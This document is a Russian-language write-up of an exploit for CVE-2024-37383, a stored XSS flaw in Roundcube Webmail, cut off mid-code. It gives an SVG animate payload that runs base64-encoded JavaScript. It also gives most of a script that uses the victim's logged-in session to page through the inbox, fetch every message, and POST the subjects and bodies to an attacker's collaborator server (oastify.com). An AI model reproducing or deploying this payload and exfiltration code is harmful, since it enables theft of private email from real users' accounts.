
Эксплойт почтового сервера Roundcube для CVE-2024-37383 (Stored XSS)
Уязвимость CVE-2024-37383 была обнаружена в веб-клиенте электронной почты Roundcube Webmail. Это хранимая XSS-уязвимость, которая позволяет злоумышленнику выполнять JavaScript-код на странице пользователя. Чтобы воспользоваться уязвимостью, злоумышленнику достаточно открыть вредоносное электронное письмо с помощью клиента Roundcube версии ранее 1.5.6 или с 1.6 по 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Этот код автоматизирует процесс получения всех писем из входящих сообщений сервера Roundcube webmail и пересылки этих данных на конкретную конечную точку сервера collaborator.
Основной URL веб-почты (target) и URL принимающего сервера (attackerserver) задаются как переменные в начале для удобной настройки.
Функция getPageCount отправляет GET-запрос на основной URL веб-почты для получения метаданных, включая общее количество страниц (pagecount). Если pagecount найден, она перебирает каждую страницу.
Для каждой страницы с 1 по pagecount формируется URL с постраничной навигацией для запроса этой страницы. Ответ каждой страницы проверяется на наличие экземпляров add_message_row(NUMBER) с помощью регулярного выражения; из каждого такого экземпляра извлекаются ID сообщений, и все ID собираются в единый список.
Для каждого ID сообщения код формирует URL для запроса подробных данных об этом сообщении. Он отправляет GET-запрос по URL для каждого ID и получает полный HTML-ответ.
В каждом ответе сообщения с помощью регулярного выражения извлекаются (тема сообщения) и основное содержимое сообщения. Из содержимого удаляются все HTML-теги, чтобы остался только обычный текст.
Для каждого извлечённого сообщения на конечную точку сервера отправляется POST-запрос с темой и очищенным содержимым сообщения, закодированными в URL для корректной передачи.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";